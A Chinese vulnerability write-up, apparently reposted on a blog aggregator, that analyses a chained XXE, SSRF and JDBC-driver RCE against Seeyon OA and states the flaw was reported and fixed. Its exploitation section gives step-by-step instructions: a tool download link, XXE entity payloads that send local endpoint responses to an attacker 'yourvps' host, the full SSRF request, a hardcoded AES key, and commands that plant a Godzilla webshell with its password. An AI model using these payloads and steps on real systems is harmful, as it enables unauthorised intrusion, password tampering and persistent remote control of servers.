【新】致远OA从前台XXE到RCE漏洞分析

news2024/11/25 18:59:32

0x01 前言

致远OA是目前国内最流行的OA系统之一,前几年也曾爆出过多个安全漏洞。致远官方一直对修复漏洞的态度十分积极,目前能有效利用的致远漏洞已经很少了。

和我们之前分享过的通达OA的漏洞类似,这类主流OA系统现在想要直接一步达到RCE的效果是非常困难的。今天跟大家分享一个通过组合漏洞方式来对致远OA进行RCE的案例,整个利用过程分成多个步骤,应该算是XXE漏洞的典型深入应用场景。

在今年8月的某攻防演练活动中笔者利用此漏洞拿到多个目标的边界权限,后续也将该漏洞也报送给了官方,目前已在新版本中修复。本文仅以安全研究为目的,分享对该漏洞的挖掘和分析过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。

0x02 XXE漏洞

致远OA多个版本(A8, A8+, A6)中均存在一个XXE漏洞,在com.kg.web.action.RunSignatureAction类中接收外部输入的参数xmlValue。

info.setTextinfo(textinfo);String xml = ctx.getParameter("xmlValue", new String[0]);String signature = null;if (this.jsNotNull(xml)) {    signature = exec.runSignature(info, xml);} else {    String protectedData = this.getProtectedData(ctx);    signature = exec.runSignature(info, this.getProtectedDataList(protectedData));}

如果不为空,则进入runSignature方法。

public String runSignature(KgSignatureInfo info, String protectedXml) {    List<KgProtectedData> data = this.xmlToList(protectedXml);    this.put(KgSignName.FIELDXML, protectedXml);    return this.runSignature(info, data);}

继续跟踪进入xmlToList方法。

public List<KgProtectedData> xmlToList(String protectedXml) throws KgException {    ArrayList protectedDatas = new ArrayList();
    try {        List<Element> s = this.getNodes(protectedXml, "/Signature/Field");

继续跟踪,进入getNodes方法,这里就是很明显的XXE漏洞位置。

private List<Element> getNodes(String xmlString, String xpath) {    ArrayList tmpList = null;
    try {        SAXReader saxReader = new SAXReader();        Reader xml_sr = new StringReader(xmlString);        saxReader.setEncoding("UTF-8");        Document document = saxReader.read(xml_sr);        if (document.getRootElement() == null) {            throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));        } else {            List<?> contexts = document.selectNodes(xpath);            tmpList = new ArrayList();
            for(int i = 0; i < contexts.size(); ++i) {                if (contexts.get(i) instanceof Element) {                    tmpList.add((Element)contexts.get(i));                }            }
            return tmpList;        }    }

完整的payload如下,发送下面的请求,触发XXE的SSRF功能。相应内容如下代表存在漏洞。如图2.1所示

图片

图2.1 存在SSRF漏洞的页面响应

图片

图2.2 利用XXE产生SSRF请求

0x03 RCE漏洞

在java环境下是不能直接通过XXE来执行系统命令的,并且这里的XXE是不具有回显的功能,仅能通过XXE来达到SSRF的效果,并且只能进行GET类型的请求。如何通过SSRF来达到RCE的效果是充分利用此漏洞的关键。

本人在分析致远的系统服务的过程中发现致远在某些情况下会开放60001端口,一般是监听在本地地址127.0.0.1的。服务是由一个名为agent.jar的包提供的服务,如图3.1所示。

图片

图3.1 agent.jar开放的60001端口服务

在com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController类中定义了方法testDBConnect,如图3.2所示。

图片

图3.2 testDBConnection方法定义

继续跟踪this.configurationManager.testDBConnect方法,如图3.3所示。这个方法的主要作用是用于测试数据库连接,并且允许自定义连接驱动类。

图片

图3.3 允许自定义driverClass

在文章https://paper.seebug.org/1832/中详细介绍了基于JDBC Connection URL的利用方法,其中最简单的是使用通过h2数据库来达到RCE效果,如图3.4所示。对原理感兴趣的小伙伴可以参考原文。

图片

图3.4 通过H2数据库达到RCE效果

到这一步已经可以看出整个命令执行的大致逻辑是通过XXE来执行SSRF请求,通过SSRF访问致远60001端口中的testDBConnection方法,并且传递恶意的driverClass和dbUrl来达到RCE的效果。

然而现实情况下确远没有这么简单,直接访问上面的testDBConnection,会报“非法访问的错误”,如图3.5所示。

图片

图3.5 直接访问testDBConnection报错

根据错误提示反向找到对应的逻辑代码com.seeyon.agent.common.interceptor. SecurityInterceptor的preHandle方法,这应该是全局的拦截器,其中关键的代码如图3.6所示。

图片

图3.6 根据错误提示反响找到验证代码逻辑

从这段代码中可以清晰的看出需要传入参数ad,并且有对ad参数进行有效校验的方法isChecktoken,跟踪isChecktoken方法。

图片

图3.7 isChecktoken方法逻辑判断

isChecktoken方法很简单,其中tokenMap是静态属性,默认为空。需要找到为tokenMap赋值的办法。在这个逻辑卡了很久,很长一段时间都以为没办法利用,后来找到了一个可以为tokenMap写入数据的办法com.seeyon.agent.common.getway.getToken方法,如图3.8,图3.9所示。

图片

图3.8 通过传入的seeyon参数进行AES解密获取字段

图片

图3.9 生成token并响应token结果

跟踪生成token的TokenUtils.getToken方法,如图3.10所示。这里会生成一个随机的token名称,并保存到tokenMap的静态属性中,与图3.7需要的逻辑判断相呼应。

图片

图3.10 生成token并保存到静态属性tokenMap中

但是这里还有两个问题需要处理,一个是图3.8中AES加密的密钥是多少,另一个是传入的参数signature如何进行签名验证。第一个问题需要跟踪AESUtil.Decrypt方法,如图3.11所示,密钥和偏移量iv都为0102030405060708,典型的硬编码问题。第二个问题是签名校验时只是把传入的参数进行sha1计算,然后比较值,如图3.12所示。

图片

图3.11 通过硬编码实现的AES解密

图片

图3.12 通过sha1签名进行校验

到这一步还是不能没有完全解决我们的问题,因为我们在图3.8说了需要传入的参数包括username、pwd和versions这些参数。那么这些参数是怎么来的呢?

1)username参数可以传默认存在的用户名seeyon

2)pwd参数我没有找到默认的值,但是找到了一个任意用户密码重置的接口(这里的用户并不是致远前台WEB的用户,而是60001接口对应的用户)。在com.seeyon.agent.common.controller.ConfigController类的modifyDefaultUserInfo方法中提供了重置用户密码的接口,并且不需要认证,如图3.13所示。

图片

图3.13 通过modifyDefaultUserInfo方法来充值seeyon用户密码

3)versions参数也没有默认值,versions参数来源于当前目标系统版本,实际环境中可能存在多种不同的值2.1.0,2.3.4等都有可能。可以通过接口com.seeyon.agent.common.controller.VersionController类的getVersion方法获取,如图3.14所示。

图片

图3.14 通过getVersion方法获取当前目标致远版本号

到目前为止就分析了完整的漏洞利用过程,整个过程分成多个步骤,漏洞利用过程比较复杂。

0x04 漏洞利用

漏洞分析过程已经在上面的文章中体现了,整个流程还是非常复杂的,感兴趣的同学可以自己去复现。另外我把整个漏洞利用过程写成了一个简单的工具,并整理为下面的步骤。下载的工具解压之后如图4.1所示。

工具下载链接:

https://www.ddpoc.com/poc/DVB-2023-5278.html

图片

图4.1 致远XXE综合利用工具

> Step1:

把124.xml、125.xml和126.xml上传到自己的vps上,并开启WEB访问。

> Step2:

修改124.xml文件中第二个请求的地址为自己的vps地址,如下所示。

<!ENTITY % file SYSTEM "http://127.0.0.1:60001/agent/config/modifyDefaultUserInfo?pwd=TVRJek5EVTI="><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://yourvps:yourport/123.php?p=%file;'>">

> Step3:

生成重置密码的POC,使用下面的命令,保证124.xml能正常访问到。

java -cp seeyon.jar Main reset http://yourvps:yourport/124.xml

图片

图4.2 生成重置密码POC

通过获取的payload,修改xmlValue字段的值。后续请求会多次利用下面的请求发起SSRF行为,后续简称SSRF请求。

POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet?S=ajaxEdocSummaryManager&M=deleteUpdateObj HTTP/1.1Host: target.hostPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 302
signatures=YWFh02JiYitY2M%3D&encode=true&elemId=YWFh&imgvalue=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDVNVEl=&xmlValue={payload}

正常来说VPS部分会收到下面的请求,如图4.3所示。如果收到124.xml的请求代表目标存在XXE漏洞;如果收到123.php的请求代表可以对目标进行RCE。

图片

图4.3 重置密码的服务端请求 

> Step4:

修改125.xml文件中第二个请求的地址为自己的vps地址,如下所示。

<!ENTITY % file SYSTEM "http://127.0.0.1:60001/agent/version/getVersion"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://yourvps:yourport/123.php?p=%file;'>">

> Step5:

生成获取系统版本的POC,使用下面的命令,保证125.xml能正常访问到。

java -cp seeyon.jar Main version http://yourvps:yourport/125.xml

图片

图4.4 生成获取系统版本POC

修改SSRF请求中的payload为生成的POC,发送请求,可以在服务器端查看获取到的版本信息,如图4.5所示。

图片

图4.5 通过界面响应获取版本信息

> Step6:

生成获取param需要的POC,使用下面的命令,其中最后的版本替换为上一步获取的版本,如图4.6所示。

java -cp seeyon.jar Main param 2.0.8

图片

图4.6 生成获取token需要的参数seeyon和signature

> Step7:

修改126.xml文件中的内容,替换为自己地址,需要注意的是这里必须替换参数seeyon和signature中的值为上一步生成的值,如图4.7所示。

图片

图4.7 修改126.xml文件中内容

> Step8:

生成获取token需要的POC,使用下面的命令,如图4.8所示。

java -cp seeyon.jar Main token http://yourvps:yourport/126.xml

图片

图4.8 生成获取token需要的POC

修改SSRF请求中的payload为生成的POC,发送请求,可以在服务器端查看获取到的版本信息,如图4.9所示。

图片

图4.9 获取token

> Step9:

生成最终利用的POC和EXP,使用下面的命令。其中token需要替换为上一步获取的token。

java -cp seeyon.jar Main rce 26926456886553:7RU5MTY4OTc1NDg1NjI4OA==4AA test #探测漏洞 java -cp seeyon.jar Main rce 26926456886553:7RU5MTY4OTc1NDg1NjI4OA==4AA gsl #生成哥斯拉webshell

工具提供两种方式test和gsl,其中test在目标服务器上生成一个seeyon.txt的文件,对应的访问方式为http://www.target.com/seeyon.txt,仅用于测试目的;gsl在目标服务器上传哥斯拉webshell,对应的访问访问为http://www.target.com/logon.jsp 111/111。

图片

图4.10 生成用于测试用的test POC

修改SSRF请求中的payload为生成的POC,发送请求。查看目标服务器的

seeyon.txt文件,如图4.11所示。

图片

图4.11 验证漏洞利用是否成功

0x05 结论

由于这个漏洞已经在手里太长时间了,很多分析是一年以前写的,写这篇文章的时候并没有完整的跟踪整个漏洞,其中细节难免有疏忽,如有不对的地方欢迎大家给我们留言。结合上面的分析可以看出致远OA能RCE的前提条件包括:

1、目标服务器出网

2、目标致远开启了60001端口

第一个条件是很容易满足的,因为现在致远的服务器需要在线更新,所以基本上都是出网的;第二个条件不一定满足,从实网测绘数据来看约有1/3的致远OA是开启了这个端口的。

本文仅以提供技术交流为目的,所有漏洞均已上报相关单位,请勿将本文工具用于非法网络攻击目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1177979.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UE5——源码阅读——10——引擎预初始化

运行延迟注册委托 初始化堆栈跟踪 检测是否需要覆盖打印时间 检测所必要的插件是否是可用的 获取目标信息 拿到编辑器目标名 检测当前运行的可执行文件是否是正确的 检测项目模块是否有过时和不兼容的 检测插件模块是否有过时和不兼容的 报错误信息 强制通讯 判断是…

选择合适的Python Web框架

Python 是一种功能强大的编程语言&#xff0c;广泛应用于 Web 开发领域。FastAPI 和 Flask 是 Python Web 开发中最受欢迎的两个框架。本文将对 FastAPI 和 Flask 进行综合对比&#xff0c;探讨它们在语法和表达能力、生态系统和社区支持、性能和扩展性、开发工具和调试支持、安…

找不到d3dcompiler_47.dll,无法继续执行代码,解决方法

首先&#xff0c;让我们来了解一下d3dcompiler_47.dll文件。d3dcompiler_47.dll是一个动态链接库文件&#xff0c;它是DirectX SDK中的一个重要组件&#xff0c;用于编译DirectX着色器。当我们在使用一些需要DirectX支持的软件或游戏时&#xff0c;如果缺少了这个文件&#xff…

Linux进程调度之完全公平调度(压箱底的干货分享)

目录 1.什么是完全公平调度&#xff1f; 2.调度周期&#xff0c;调度延迟&#xff0c;最小调度粒度 3.实际运行时间 4.nice值和权重 5.虚拟运行时间 6.查看进程运行时间 1.什么是完全公平调度&#xff1f; 完全公平调度&#xff0c;CFS (Completely Fair Scheduler) 是 …

python 去除图像中的框

最近在做图像标注&#xff0c;会出现以下的图片&#xff0c;需要去除其中的边框。 1.思路 人工标注画框的范围P&#xff0c;并使用标注工具在画框上画一个点A。获取点A的坐标和颜色。在范围P内&#xff0c;将与点A颜色相似的每一个点x的颜色&#xff0c;替换为点x上下&#…

电机应用-直流有刷电机

直流有刷电机 直流有刷电机具有结构简单、易于控制、成本低等特点。 基本的直流有刷电机在电源和电机间只需要两根电缆&#xff0c;可以节省配线和连接器所需的空间&#xff0c;并降低电缆和连接器的成本。 还可以使用MOSFET/IGBT开关对直流有刷电机进行控制&#xff0c;给电机…

第五章:Testing Modules

文章目录 State and ProgramsTestability of State-Based Programsintrusively test 侵入性测试Non-intrusive test 非侵入测试java和其他工具的实践有限状态机进行单元测试(Unit testing with FSA)构建状态机步骤step1:识别 FSA 状态step2:确定某个状态下的可用操作step3:…

【算法练习Day40】打家劫舍打家劫舍 II打家劫舍 III

​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;练题 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录 打家劫舍打家劫舍 II打家劫…

java 之数据类型的转换

文章目录 package javastudy;public class arraytest{public void ad(int a,int b) {System.out.printf("ab is %f",ab);}public static void main(String[] args) {arraytest arr new arraytest();arr.ad(1.0, 2);//arr.ad(1 , 2);} }当我们的方法的数据类型是int …

【数据结构与算法】二叉树(基本操作和几种特殊二叉树介绍)

二叉树的基本介绍&#xff0c;只讲基本算法&#xff1b;对于特殊二叉树的相关算法&#xff0c;如AVL树的旋转&#xff0c;以后有时间再写。 文章目录 一、基本概念二、基本操作2.1 二叉树的存储方式2.2 常见操作2.3 二叉树的遍历2.31 前序遍历2.32 中序遍历2.33 后序遍历2.34 层…

JavaScript作用域实战

● 首先&#xff0c;我们先创建一个函数&#xff0c;和以前一样&#xff0c;计算一个年龄的 function calcAge(birthYear) {const age 2037 - birthYear;return age; }● 然后我们创建一个全局变量&#xff0c;并调用这个函数 const firstName "IT知识一享"; cal…

遇到python程序是通过sh文件启动的,如何调试

说明 下载的源码总会遇到这样启动的&#xff1a; 并且发现shell文件内容很多&#xff0c;比较复杂&#xff0c;比如&#xff1a; 解决方案 这时候想要调试&#xff0c;可以通过端口连接的方式调试&#xff0c;具体方法如下&#xff1a; 在vscode调试按钮中添加远程附加调试…

Antv/G2 自定义tooltip鼠标悬浮提示信息

Antv/G2 提示 - Tooltip 教程 Tooltip 提示信息文档 chart.line().position(label*value).color(type).tooltip(type*value, (type:string, value:number) > { return {name: type,value: value%}}) });demo&#xff1a; <!DOCTYPE html> <html lang&quo…

最受欢迎的程序员副业排行榜TOP6

程序员接单的情况并不少见&#xff0c;因为程序员职业工种的特殊性&#xff0c;能够比较快的衔接上新项目和新技术&#xff0c;所以接私活做副业成了许多程序员的不二之选。 程序员的副业是指程序员在业余时间里从事与编程相关的兼职工作&#xff0c;或者是与技术相关的创业项…

[算法训练营] 回溯算法专题(三)

&#x1f57a;作者&#xff1a; 主页 我的专栏C语言从0到1探秘C数据结构从0到1探秘Linux菜鸟刷题集 &#x1f618;欢迎关注&#xff1a;&#x1f44d;点赞&#x1f64c;收藏✍️留言 &#x1f3c7;码字不易&#xff0c;你的&#x1f44d;点赞&#x1f64c;收藏❤️关注对我真的…

致:CSGO游戏搬砖人的一封信

最近大家还在坚持操作CSGO游戏搬砖项目不&#xff1f; 这个项目虽是稳赚项目&#xff0c;但也有行情好和行情不好的时候&#xff0c;平台的大中小各种活动的举办&#xff0c;都会对我们的项目造成一定影响。行情的上下波动势必然会影响卡价的波动&#xff0c;影响选品的快慢&a…

【SqlSever】日期类型转换

特殊类型日期转换 原始数据 12 28 2021 5:18PM 12 28 2021 6:08PM 12 29 2021 7:47AM 12 26 2021 9:00PM 02 9 2022 10:44AM 转换为&#xff1a; 2021-12-28 17:18:00.000 2021-12-28 18:08:00.000 2021-12-29 07:47:00.000 2021-12-26 21:00:00.000 2022-02-09 10:44:00…

70 内网安全-域横向内网漫游Socks代理隧道技术

目录 必要基础知识点:1.内外网简单知识2.内网1和内网2通信问题3.正向反向协议通信连接问题4.内网穿透代理隧道技术说明 演示案例:内网穿透Ngrok测试演示-两个内网通讯上线内网穿透Frp自建跳板测试-两个内网通讯上线CFS三层内网漫游安全测试演练-某CTF线下2019 涉及资源: 主要说…

Spring Boot + EasyUI Datebox和Datetimebox样例

使用EasyUI的Datebox和Datetimebox组件&#xff0c;并对其进行适当的改造&#xff0c;比如更改日期格式、设置默认值或者将当前时间设置为默认值。 一、运行结果 二、实现代码 1.代码框架 2.实现代码 SpringBootMainApplication.java: package com.xj.main;import org.spri…